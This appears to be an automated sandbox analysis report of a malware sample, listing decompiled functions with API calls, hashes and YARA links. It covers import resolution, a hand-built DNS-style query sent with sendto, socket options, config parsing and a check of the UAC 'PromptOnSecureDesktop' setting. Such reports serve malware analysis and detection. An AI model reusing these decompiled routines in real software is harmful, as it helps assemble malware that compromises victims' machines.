Uniqueness Score: -1.00%

Function 0054B461, Relevance: 7.6, APIs: 5, Instructions: 131timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0054B503
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 0054B512
SystemTimeToFileTime.KERNEL32(?,?), ref: 0054B531
GetTimeZoneInformation.KERNEL32(?), ref: 0054B579
wsprintfA.USER32 ref: 0054B607

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Time$File$Local$InformationSystemZonewsprintf
String ID:
API String ID: 4026320513-0
Opcode ID: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction ID: 86fccf533b1d600fd4e194b037ff5280ee97384fe23b652b6da721a0532b2df0
Opcode Fuzzy Hash: fbb2cc535003bdd2a03704f06e43c86ec17b275768f9954b8d174276db173d5b
Instruction Fuzzy Hash: 2C513271D0021DAADF14DFD4D8485EEFBB9BF48304F10852AE505A6150E7B88AC9CF98

Uniqueness

Uniqueness Score: -1.00%

Function 005462B9, Relevance: 7.6, APIs: 5, Instructions: 121libraryloaderCOMMON

Download Yara Rule

APIs

IsBadHugeReadPtr.KERNEL32(?,00000014), ref: 005462EC
LoadLibraryA.KERNEL32(?), ref: 00546313
GetProcAddress.KERNEL32(00000000,?), ref: 0054639A
IsBadHugeReadPtr.KERNEL32(-000000DC,00000014), ref: 005463EE

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: HugeRead$AddressLibraryLoadProc
String ID:
API String ID: 3498078134-0
Opcode ID: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction ID: 30f793567c93b913f556fbd618c2eda572bd1b138c6ff9f546b7277e5330a870
Opcode Fuzzy Hash: 22151fd6ac6a99dd14e45186f4812a7dac7af9c00bb3bb0eb99ee7530713bb62
Instruction Fuzzy Hash: 58416C71A0011AAFDF24CF58C884BEABBB8FF15358F248869E815D7290E731ED45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00406069, Relevance: 7.6, APIs: 5, Instructions: 121
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00406069(_Unknown_base(*)()* _a4) {
				intOrPtr* _v8;
				signed int _v12;
				struct HINSTANCE__* _v16;
				intOrPtr _t47;
				_Unknown_base(*)()* _t48;
				_Unknown_base(*)()* _t50;
				struct HINSTANCE__* _t52;
				_Unknown_base(*)()* _t53;
				_Unknown_base(*)()* _t54;
				_Unknown_base(*)()* _t55;
				signed int _t56;
				_Unknown_base(*)()* _t59;
				_Unknown_base(*)()* _t62;
				_Unknown_base(*)()* _t63;
				intOrPtr _t69;
				_Unknown_base(*)()* _t76;
				_Unknown_base(*)()* _t77;
				intOrPtr* _t82;
				void* _t85;
				intOrPtr* _t87;
				_Unknown_base(*)()* _t89;

				_t82 = _a4;
				_t47 =  *_t82;
				_t3 = _t82 + 4; // 0x65e85621
				_t69 =  *_t3;
				_v12 = 1;
				if( *((intOrPtr*)(_t47 + 0x84)) != 0) {
					_t85 =  *((intOrPtr*)(_t47 + 0x80)) + _t69;
					_t48 = IsBadReadPtr(_t85, 0x14);
					__eflags = _t48;
					if(_t48 != 0) {
						L29:
						return _v12;
					}
					_t87 = _t85 + 0x10;
					_v8 = _t87;
					while(1) {
						_t50 =  *(_t87 - 4);
						__eflags = _t50;
						if(_t50 == 0) {
							goto L29;
						}
						_t52 = LoadLibraryA(_t50 + _t69);
						_v16 = _t52;
						__eflags = _t52 - 0xffffffff;
						if(_t52 == 0xffffffff) {
							L28:
							_t44 =  &_v12;
							 *_t44 = _v12 & 0x00000000;
							__eflags =  *_t44;
							goto L29;
						}
						_t10 = _t82 + 8; // 0x8bfffffa
						_t53 =  *_t10;
						__eflags = _t53;
						if(_t53 != 0) {
							_t14 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBED(_t53, 4 +  *_t14 * 4);
						} else {
							_t11 = _t82 + 0xc; // 0x28408b06
							_t54 = E0040EBCC(4 +  *_t11 * 4);
						}
						 *(_t82 + 8) = _t54;
						__eflags = _t54;
						if(_t54 == 0) {
							goto L28;
						} else {
							_t18 = _t82 + 0xc; // 0x28408b06
							 *((intOrPtr*)(_t54 +  *_t18 * 4)) = _v16;
							 *(_t82 + 0xc) =  *(_t82 + 0xc) + 1;
							_t55 =  *(_t87 - 0x10);
							__eflags = _t55;
							if(_t55 == 0) {
								_t89 =  *_t87 + _t69;
								__eflags = _t89;
								_t76 = _t89;
							} else {
								_t89 = _t55 + _t69;
								_t76 =  *_v8 + _t69;
							}
							_t56 =  *_t89;
							__eflags = _t56;
							if(_t56 == 0) {
								L25:
								__eflags = _v12;
								if(_v12 == 0) {
									goto L29;
								}
								_v8 = _v8 + 0x14;
								_t59 = IsBadReadPtr(_v8 + 0xfffffff0, 0x14);
								__eflags = _t59;
								if(_t59 == 0) {
									_t87 = _v8;
									continue;
								}
								goto L29;
							} else {
								_a4 = _t76;
								_a4 = _a4 - _t89;
								__eflags = _t56;
								do {
									if(__eflags >= 0) {
										_t62 = GetProcAddress(_v16, _t56 + _t69 + 2);
										__eflags = _t62;
										if(_t62 == 0) {
											L21:
											_t63 = _a4;
											__eflags =  *(_t63 + _t89);
											if( *(_t63 + _t89) == 0) {
												_t38 =  &_v12;
												 *_t38 = _v12 & 0x00000000;
												__eflags =  *_t38;
												goto L25;
											}
											goto L22;
										}
										_t77 = _a4;
										__eflags = _t62 -  *(_t77 + _t89);
										if(_t62 ==  *(_t77 + _t89)) {
											goto L21;
										}
										L20:
										 *(_t77 + _t89) = _t62;
										goto L21;
									}
									_t62 = GetProcAddress(_v16, _t56 & 0x0000ffff);
									_t77 = _a4;
									goto L20;
									L22:
									_t89 = _t89 + 4;
									_t56 =  *_t89;
									__eflags = _t56;
								} while (__eflags != 0);
								goto L25;
							}
						}
					}
					goto L29;
				}
				return 1;
			}

0x00406071
0x00406074
0x0040607c
0x0040607c
0x00406082
0x00406087
0x00406099
0x0040609c
0x004060a2
0x004060a4
0x004061b2
0x00000000
0x004061b5
0x004060aa
0x004060ad
0x004060b5
0x004060b5
0x004060b8
0x004060ba
0x00000000
0x00000000
0x004060c3
0x004060c9
0x004060cc
0x004060cf
0x004061ae
0x004061ae
0x004061ae
0x004061ae
0x00000000
0x004061ae
0x004060d5
0x004060d5
0x004060d8
0x004060da
0x004060ee
0x004060fa
0x004060dc
0x004060dc
0x004060e7
0x004060e7
0x00406101
0x00406104
0x00406106
0x00000000
0x0040610c
0x0040610c
0x00406112
0x00406115
0x00406118
0x0040611b
0x0040611d
0x0040612d
0x0040612d
0x0040612f
0x0040611f
0x0040611f
0x00406127
0x00406127
0x00406131
0x00406133
0x00406135
0x0040618b
0x0040618b
0x0040618f
0x00000000
0x00000000
0x00406191
0x0040619e
0x004061a4
0x004061a6
0x004060b2
0x00000000
0x004060b2
0x00000000
0x00406137
0x00406137
0x0040613a
0x0040613d
0x0040613f
0x0040613f
0x0040615e
0x00406164
0x00406166
0x00406173
0x00406173
0x00406176
0x0040617a
0x00406187
0x00406187
0x00406187
0x00000000
0x00406187
0x00000000
0x0040617a
0x00406168
0x0040616b
0x0040616e
0x00000000
0x00000000
0x00406170
0x00406170
0x00000000
0x00406170
0x0040614a
0x00406150
0x00000000
0x0040617c
0x0040617c
0x0040617f
0x00406181
0x00406181
0x00000000
0x00406185
0x00406135
0x00406106
0x00000000
0x004060b5
0x00000000

APIs

IsBadReadPtr.KERNEL32(?,00000014,00000000,?,00000000,?,004064CF,00000000), ref: 0040609C
LoadLibraryA.KERNEL32(?,?,004064CF,00000000), ref: 004060C3
GetProcAddress.KERNEL32(?,00000014), ref: 0040614A
IsBadReadPtr.KERNEL32(-000000DC,00000014), ref: 0040619E

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Read$AddressLibraryLoadProc
String ID:
API String ID: 2438460464-0
Opcode ID: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction ID: 2c66ad34c3d6fb1da92a891872b73c8746f5f3d5bf62d79dfacd6c24df0475f4
Opcode Fuzzy Hash: beeb212f6d5b41c5424ed959fb710d65fbebcae36a96b2ee910fcd89165a7e78
Instruction Fuzzy Hash: D5418C71A00105AFDB10CF58C884BAAB7B9EF14354F26807AE816EB3D1D738ED61CB84

Uniqueness

Uniqueness Score: -1.00%

Function 00402923, Relevance: 7.6, APIs: 5, Instructions: 107
COMMON

Download Yara Rule

C-Code - Quality: 62%

			E00402923(void* __ecx, void* __esi, intOrPtr _a4) {
				signed int* _v8;
				signed int* _v12;
				signed int* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				signed short _v28;
				short _v30;
				short _v32;
				char _v292;
				char _v296;
				void* __ebx;
				void* __edi;
				void* _t37;
				intOrPtr _t41;
				signed int* _t42;
				signed short _t53;
				signed int** _t62;
				void* _t67;
				void* _t70;
				intOrPtr _t71;
				intOrPtr* _t79;
				signed int* _t80;
				void* _t81;
				void* _t82;
				void* _t83;

				_t81 = __esi;
				_t37 = 0xc;
				_v8 = 0;
				_v16 = 0;
				if(_a4 >= _t37) {
					_t67 = E00402816(_t37, __esi, __ecx, __esi, _a4);
					if(_t67 < _a4) {
						_t76 =  *(__esi + 6) & 0x0000ffff;
						_t41 = ( *(__esi + 0xa) & 0x0000ffff) + ( *(__esi + 8) & 0x0000ffff) + ( *(__esi + 6) & 0x0000ffff);
						_v20 = _t41;
						_v12 = 0;
						if(_t41 <= 0) {
							L13:
							_t42 = _v16;
							L14:
							return _t42;
						}
						while(_t67 < _a4) {
							E0040EE2A(_t76,  &_v296, 0, 0x114);
							_t70 = E00402871(_t67, _t81, _t76,  &_v292, _a4);
							_t15 = _t70 + 0xa; // 0xa
							_t83 = _t82 + 0x10;
							if(_t15 >= _a4) {
								goto L13;
							}
							_t79 = __imp__#15;
							_v32 =  *_t79( *(_t70 + _t81) & 0x0000ffff);
							_v30 =  *_t79( *(_t70 + _t81 + 2) & 0x0000ffff);
							_t53 =  *_t79( *(_t70 + _t81 + 8) & 0x0000ffff);
							_v28 = _t53;
							_t71 = _t70 + 0xa;
							_v24 = _t71;
							if((_t53 & 0x0000ffff) + _t71 > _a4) {
								goto L13;
							}
							_t80 = HeapAlloc(GetProcessHeap(), 0, 0x124);
							if(_t80 == 0) {
								goto L13;
							}
							E0040EE2A(_t76, _t80, 0, 0x124);
							E0040EE08(_t80,  &_v296, 0x114);
							 *_t80 =  *_t80 & 0x00000000;
							_t67 = _t71 + (_v28 & 0x0000ffff);
							_t62 = _v8;
							_t82 = _t83 + 0x18;
							_v8 = _t80;
							if(_t62 != 0) {
								 *_t62 = _t80;
							} else {
								_v16 = _t80;
							}
							_v12 = _v12 + 1;
							if(_v12 < _v20) {
								continue;
							} else {
								goto L13;
							}
						}
						goto L13;
					}
					_t42 = 0;
					goto L14;
				}
				return 0;
			}

0x00402923
0x00402931
0x00402932
0x00402935
0x0040293b
0x00402950
0x00402957
0x0040296a
0x0040296e
0x00402970
0x00402973
0x00402978
0x00402a5b
0x00402a5b
0x00402a5e
0x00000000
0x00402a5e
0x0040297e
0x00402995
0x004029ac
0x004029ae
0x004029b1
0x004029b7
0x00000000
0x00000000
0x004029c1
0x004029ca
0x004029d6
0x004029e0
0x004029e2
0x004029e6
0x004029ee
0x004029f4
0x00000000
0x00000000
0x00402a0a
0x00402a0e
0x00000000
0x00000000
0x00402a18
0x00402a2a
0x00402a33
0x00402a36
0x00402a38
0x00402a3b
0x00402a3e
0x00402a43
0x00402a4a
0x00402a45
0x00402a45
0x00402a45
0x00402a4c
0x00402a55
0x00000000
0x00000000
0x00000000
0x00000000
0x00402a55
0x00000000
0x0040297e
0x00402959
0x00000000
0x00402959
0x00000000

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction ID: 0bfd2bf0caf83722c61519a9099cbfb16c0865a6a5fe5c2769a2057d5fd36f2a
Opcode Fuzzy Hash: 7d7be85cd36f3663e93a2a6933a3c0dd16534f9087a3b26c869853f350d83737
Instruction Fuzzy Hash: 2931A471A00219ABCB109FA6CD85ABEB7F4FF48705F10846BF504F62C1E7B8D6418B68

Uniqueness

Uniqueness Score: -1.00%

Function 0040E654, Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 96
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E654(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				intOrPtr _t30;
				CHAR* _t31;
				int _t34;
				intOrPtr* _t41;
				intOrPtr* _t42;
				void* _t47;
				intOrPtr _t51;
				int _t52;
				void* _t53;
				intOrPtr _t54;
				void* _t55;
				char _t59;

				E0040DD05();
				_t41 = 0x4120e8;
				_t55 =  *0x4120e8 - 0x4120e8; // 0x4120e8
				if(_t55 == 0) {
					L9:
					_t53 = E0040EBCC(0x1c);
					if(_t53 != 0) {
						 *((intOrPtr*)(_t53 + 0x18)) = _a4;
						 *((intOrPtr*)(_t53 + 4)) = _a8;
						E00403E8F(0x4120e8, _t53);
						__eflags = _a12;
						if(_a12 == 0) {
							 *(_t53 + 8) = 0;
						} else {
							_t15 = _t53 + 8; // 0x8
							lstrcpynA(_t15, _a12, 0xf);
							 *((char*)(_t53 + 0x17)) = 0;
						}
						L15:
						_t42 = 0x4120e4;
						__eflags =  *0x4120e4 - _t42; // 0x4120e4
						if(__eflags == 0) {
							L22:
							_t47 = 1;
							L11:
							E0040DD69();
							return _t47;
						} else {
							goto L16;
						}
						do {
							L16:
							_t30 =  *((intOrPtr*)(_t53 + 4));
							_t51 =  *_t42;
							__eflags = _t30 - 0xffffffff;
							if(_t30 == 0xffffffff) {
								L18:
								_t20 = _t53 + 8; // 0x8
								_t31 = _t20;
								__eflags =  *_t31;
								if( *_t31 == 0) {
									L20:
									_t52 = _t51 + 0xc;
									__eflags = _t52;
									 *((intOrPtr*)(_t53 + 0x18))(_t52, 1);
									goto L21;
								}
								_t34 = lstrcmpA(_t51 + 0x10, _t31);
								__eflags = _t34;
								if(_t34 != 0) {
									goto L21;
								}
								goto L20;
							}
							__eflags =  *(_t51 + 0xc) - _t30;
							if( *(_t51 + 0xc) != _t30) {
								goto L21;
							}
							goto L18;
							L21:
							_t42 =  *_t42;
							__eflags =  *_t42 - 0x4120e4;
						} while ( *_t42 != 0x4120e4);
						goto L22;
					}
					_t47 = 0;
					goto L11;
				} else {
					goto L1;
				}
				do {
					L1:
					_t54 =  *_t41;
					if( *((intOrPtr*)(_t54 + 0x18)) == _a4 &&  *((intOrPtr*)(_t54 + 4)) == _a8) {
						if(_a12 != 0) {
							_t8 = _t54 + 8; // 0x751443e8
							__eflags = lstrcmpA(_t8, _a12);
						} else {
							_t59 =  *(_t54 + 8);
						}
						if(_t59 == 0) {
							break;
						} else {
							goto L7;
						}
					}
					L7:
					_t41 =  *_t41;
					_t53 = 0;
				} while ( *_t41 != 0x4120e8);
				if(_t53 != 0) {
					goto L15;
				}
				goto L9;
			}

0x0040e65a
0x0040e664
0x0040e666
0x0040e66c
0x0040e6a9
0x0040e6b0
0x0040e6b5
0x0040e6c8
0x0040e6d0
0x0040e6d3
0x0040e6d8
0x0040e6de
0x0040e6f5
0x0040e6e0
0x0040e6e5
0x0040e6e9
0x0040e6ef
0x0040e6ef
0x0040e6f9
0x0040e6f9
0x0040e6fe
0x0040e704
0x0040e741
0x0040e743
0x0040e6b9
0x0040e6b9
0x0040e6c4
0x00000000
0x00000000
0x00000000
0x0040e706
0x0040e706
0x0040e706
0x0040e709
0x0040e70b
0x0040e70e
0x0040e715
0x0040e715
0x0040e715
0x0040e718
0x0040e71b
0x0040e72c
0x0040e72c
0x0040e72c
0x0040e732
0x00000000
0x0040e736
0x0040e722
0x0040e728
0x0040e72a
0x00000000
0x00000000
0x00000000
0x0040e72a
0x0040e710
0x0040e713
0x00000000
0x00000000
0x00000000
0x0040e737
0x0040e737
0x0040e739
0x0040e739
0x00000000
0x0040e706
0x0040e6b7
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e66e
0x0040e66e
0x0040e66e
0x0040e676
0x0040e684
0x0040e68f
0x0040e699
0x0040e686
0x0040e686
0x0040e686
0x0040e69b
0x00000000
0x00000000
0x00000000
0x00000000
0x0040e69b
0x0040e69d
0x0040e69d
0x0040e69f
0x0040e6a1
0x0040e6a7
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

lstrcmpA.KERNEL32(751443E8,00000000,?,751443E0,00000000,?,00405EC1), ref: 0040E693
lstrcpynA.KERNEL32(00000008,00000000,0000000F,?,751443E0,00000000,?,00405EC1), ref: 0040E6E9
lstrcmpA.KERNEL32(?,00000008,?,751443E0,00000000,?,00405EC1), ref: 0040E722

Strings

A, xrefs: 0040E65F, 0040E666, 0040E6CF, 0040E731
A, xrefs: 0040E6F9, 0040E6FE, 0040E739

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrcmp$CountCurrentExchangeInterlockedThreadTicklstrcpyn
String ID: A$ A
API String ID: 3343386518-686259309
Opcode ID: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction ID: 47b803fc1c440cad9c550ff35358ad860d5bc2ca4051ff98ce99c32b6473ed9c
Opcode Fuzzy Hash: 951ece8c2afd944643beef7ac70d50e077dd33d1a65e809f7a70b3905a3fc363
Instruction Fuzzy Hash: CC31C031600301DBCB318F66E8847977BE4AB24314F508D3BE555A7690D779E8A0CB89

Uniqueness

Uniqueness Score: -1.00%

Function 004026FF, Relevance: 7.6, APIs: 5, Instructions: 96
networkCOMMON

Download Yara Rule

C-Code - Quality: 26%

			E004026FF(intOrPtr* __eax, intOrPtr _a4, intOrPtr _a8, long _a12) {
				long* _t33;
				long _t35;
				long* _t36;
				long _t37;
				long _t38;
				short _t39;
				short _t40;
				char _t42;
				intOrPtr _t43;
				void* _t48;
				long* _t49;
				long* _t51;
				long* _t52;
				long* _t53;
				long* _t54;
				void* _t55;
				long* _t56;
				long* _t57;
				long* _t60;
				intOrPtr* _t63;
				intOrPtr* _t65;
				void* _t66;

				_t65 = __eax;
				_t33 =  *0x412bf8; // 0x0
				_t42 = 0;
				if(_t33 == 0) {
					_t33 = E0040EBCC(0x400);
					_pop(_t48);
					 *0x412bf8 = _t33;
				}
				E0040EE2A(_t48, _t33, _t42, 0x400);
				_t35 = GetTickCount();
				_t49 =  *0x412bf8; // 0x0
				_t63 = __imp__#9;
				 *_t49 = _t35;
				_t36 =  *0x412bf8; // 0x0
				_t36[0] = _a12;
				_t37 =  *_t63(1);
				_t51 =  *0x412bf8; // 0x0
				_t51[1] = _t37;
				_t52 =  *0x412bf8; // 0x0
				_t38 = 0;
				_t52[1] = 0;
				_t53 =  *0x412bf8; // 0x0
				_t53[2] = 0;
				_t54 =  *0x412bf8; // 0x0
				_t54[2] = 0;
				_t60 =  *0x412bf8; // 0x0
				_t55 = 0;
				if( *_t65 != _t42) {
					do {
						_t43 =  *((intOrPtr*)(_t38 + _t65));
						_a12 = _t38;
						while(_t43 != 0) {
							if(_t43 != 0x2e) {
								_a12 = _a12 + 1;
								_t43 =  *((intOrPtr*)(_a12 + _t65));
								continue;
							}
							break;
						}
						 *((char*)(_t55 +  &(_t60[3]))) = _a12 - _t38;
						_t55 = _t55 + 1;
						while(_t38 < _a12) {
							 *((char*)(_t55 +  &(_t60[3]))) =  *((intOrPtr*)(_t38 + _t65));
							_t55 = _t55 + 1;
							_t38 = _t38 + 1;
						}
						if( *((char*)(_t38 + _t65)) == 0x2e) {
							_t38 = _t38 + 1;
						}
						_t42 = 0;
					} while ( *((intOrPtr*)(_t38 + _t65)) != 0);
				}
				 *((char*)(_t55 +  &(_t60[3]))) = _t42;
				_t24 = _t55 + 0xd; // 0xf
				_t66 = _t24;
				_t39 =  *_t63(0xf);
				_t56 =  *0x412bf8; // 0x0
				 *((short*)(_t56 + _t66)) = _t39;
				_t40 =  *_t63(1);
				_t57 =  *0x412bf8; // 0x0
				 *((short*)(_t57 + _t66 + 2)) = _t40;
				__imp__#20(_a4, 0x412bf8, _t66 + 4, _t42, _a8, 0x10);
				return 0 | _t40 <= 0x00000000;
			}

0x00402704
0x00402706
0x0040270b
0x00402715
0x00402718
0x0040271d
0x0040271e
0x0040271e
0x00402726
0x0040272e
0x00402734
0x0040273a
0x00402740
0x00402743
0x0040274e
0x00402752
0x00402754
0x0040275a
0x0040275e
0x00402764
0x00402766
0x0040276a
0x00402770
0x00402774
0x0040277a
0x0040277e
0x00402784
0x00402788
0x0040278a
0x0040278a
0x0040278d
0x004027a0
0x00402795
0x00402797
0x0040279d
0x00000000
0x0040279d
0x00000000
0x00402795
0x004027a9
0x004027ad
0x004027b9
0x004027b3
0x004027b7
0x004027b8
0x004027b8
0x004027c2
0x004027c4
0x004027c4
0x004027c5
0x004027c7
0x0040278a
0x004027ce
0x004027d2
0x004027d2
0x004027d5
0x004027d7
0x004027df
0x004027e3
0x004027e5
0x004027f0
0x00402802
0x00402815

APIs

GetTickCount.KERNEL32 ref: 0040272E
htons.WS2_32(00000001), ref: 00402752
htons.WS2_32(0000000F), ref: 004027D5
htons.WS2_32(00000001), ref: 004027E3
sendto.WS2_32(?,00412BF8,00000009,00000000,00000010,00000010), ref: 00402802

Part of subcall function 0040EBCC: GetProcessHeap.KERNEL32(00000000,00000000,80000001,0040EBFE,7FFF0001,?,0040DB55,7FFF0001), ref: 0040EBD3
Part of subcall function 0040EBCC: RtlAllocateHeap.NTDLL(00000000,?,0040DB55,7FFF0001), ref: 0040EBDA

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: htons$Heap$AllocateCountProcessTicksendto
String ID:
API String ID: 1128258776-0
Opcode ID: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction ID: e317574a351225f02cdc10e669db3389ba019fd1a924c3d0ab3f78f3d9a30560
Opcode Fuzzy Hash: 6299894b8f3bc0cc0dfae645a3d09159b09bee40e3d6069153e68f679ff52250
Instruction Fuzzy Hash: B8313A342483969FD7108F74DD80AA27760FF19318B19C07EE855DB3A2D6B6E892D718

Uniqueness

Uniqueness Score: -1.00%

Function 0040F26D, Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

setsockopt.WS2_32(00000000,0000FFFF,00000004,00000000,00000004), ref: 0040F2A0
setsockopt.WS2_32(00000004,0000FFFF,00001005,00000004,00000004), ref: 0040F2C0
setsockopt.WS2_32(00000004,0000FFFF,00001006,00000004,00000004), ref: 0040F2DD
setsockopt.WS2_32(?,00000006,00000001,?,00000004), ref: 0040F2EC
setsockopt.WS2_32(?,0000FFFF,00000080,?,00000004), ref: 0040F2FD

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: setsockopt
String ID:
API String ID: 3981526788-0
Opcode ID: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction ID: 54276ff97121d9260d4f5268cf3942b14174050ddbce03adff589c8218e6c2bb
Opcode Fuzzy Hash: 8b4be0266ee07c3102769aa2bfb0f3fbe40b153d7f42fbd5c93fb3948aedae23
Instruction Fuzzy Hash: 6B110AB2A40248BAEF11DF94CD85FDE7FBCEB44751F008066BB04EA1D0E6B19A44CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00402419, Relevance: 7.5, APIs: 4, Strings: 1, Instructions: 45
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402419(void* __ecx, CHAR* _a4, intOrPtr _a8, CHAR* _a12) {
				int _v8;
				int _t18;
				intOrPtr _t20;
				CHAR* _t21;
				int _t30;
				CHAR* _t36;

				_t18 = lstrlenA(_a12);
				_t36 = _a4;
				_v8 = _t18;
				_t20 = _a8 + _t36;
				_a8 = _t20;
				if(_t36 >= _t20) {
					L5:
					_t21 = 0;
				} else {
					while(1) {
						_t30 = lstrlenA(_t36);
						_t7 =  &(_t36[1]); // 0x1
						_a4 = _t30 + _t7;
						if(_v8 == _t30 && lstrcmpiA(_t36, _a12) == 0 && _a4 < _a8) {
							break;
						}
						_t36 =  &(_t36[lstrlenA(_a4) + _t30 + 2]);
						if(_t36 < _a8) {
							continue;
						} else {
							goto L5;
						}
						goto L6;
					}
					_t21 = _a4;
				}
				L6:
				return _t21;
			}

0x00402429
0x0040242b
0x0040242e
0x00402434
0x00402436
0x0040243b
0x00402474
0x00402474
0x0040243d
0x0040243d
0x00402440
0x00402442
0x00402446
0x0040244c
0x00000000
0x00000000
0x0040246b
0x00402472
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00402472
0x0040247b
0x0040247b
0x00402476
0x0040247a

APIs

lstrlenA.KERNEL32(?,localcfg,?,00000000,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001), ref: 00402429
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 0040243E
lstrcmpiA.KERNEL32(?,?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg), ref: 00402452
lstrlenA.KERNEL32(?,?,00402491,?,?,?,0040E844,-00000030,?,?,?,00000001,00401E3D,00000001,localcfg,lid_file_upd), ref: 00402467

Strings

localcfg, xrefs: 0040241F

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$lstrcmpi
String ID: localcfg
API String ID: 1808961391-1857712256
Opcode ID: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction ID: 10b525c6ae3f8891cd48fd25e34f392daf9ed257baad57177c8ccf48abf1fcea
Opcode Fuzzy Hash: e0652b8e6b882c26303073c97bc729d70adad1496f82cefeb83b9b40d862f6ea
Instruction Fuzzy Hash: B4011A31600218EFCF11EF69DD888DE7BA9EF44354B01C436E859A7250E3B4EA408A98

Uniqueness

Uniqueness Score: -1.00%

Function 0054E77E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0054DF55: GetCurrentThreadId.KERNEL32 ref: 0054DFA3

GetFileSize.KERNEL32(00000000,00000000,?,00410170,?,00000000,?,0054A695), ref: 0054E7A8
ReadFile.KERNEL32(00000000,004136C4,00000000,?,00000000,?,00410170,?,00000000,?,0054A695), ref: 0054E7D3
CloseHandle.KERNEL32(00000000,?,00410170,?,00000000,?,0054A695), ref: 0054E802

Strings

PromptOnSecureDesktop, xrefs: 0054E829, 0054E82E, 0054E865, 0054E884

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: File$CloseCurrentHandleReadSizeThread
String ID: PromptOnSecureDesktop
API String ID: 1396056608-2980165447
Opcode ID: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction ID: 871a7bdbd92f83efbc1d91a17f781f668c011dd4cceda51f9e32ce52f3e2fea7
Opcode Fuzzy Hash: 7902eb09b18f90ff15814c2c52a49d831fada2081c22b3094fea9a8900fad251
Instruction Fuzzy Hash: BD2127B2A403027AE6257B316C4FFEB3F5CFB95758F100124BA0AB51D3EAA5D85082B5

Uniqueness

Uniqueness Score: -1.00%

Function 0040E52E, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
fileCOMMON

Download Yara Rule

C-Code - Quality: 92%

			E0040E52E(void* __edx, void* __eflags) {
				long _v4;
				void* __ecx;
				void* _t9;
				void* _t11;
				void* _t17;
				long _t20;
				void* _t23;
				int _t24;
				void* _t28;
				void* _t32;
				void* _t37;
				void* _t40;
				void* _t44;

				_t44 = __eflags;
				_t32 = __edx;
				E0040DD05();
				_t28 = E0040DBCF(_t44, 0x80000000, 3);
				_pop(_t31);
				if(_t28 == 0xffffffff) {
					L6:
					_t9 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
					_t11 = E0040E3CA(_t32, 0x80000001, E00402544(0x4122f8, 0x4110bc, 0x14, 0xe4, 0xc8), _t9);
					_t40 = _t37 + 0x34;
					if(_t11 == 0) {
						_t17 = E00402544(0x4128f8, 0x4110d0, 7, 0xe4, 0xc8);
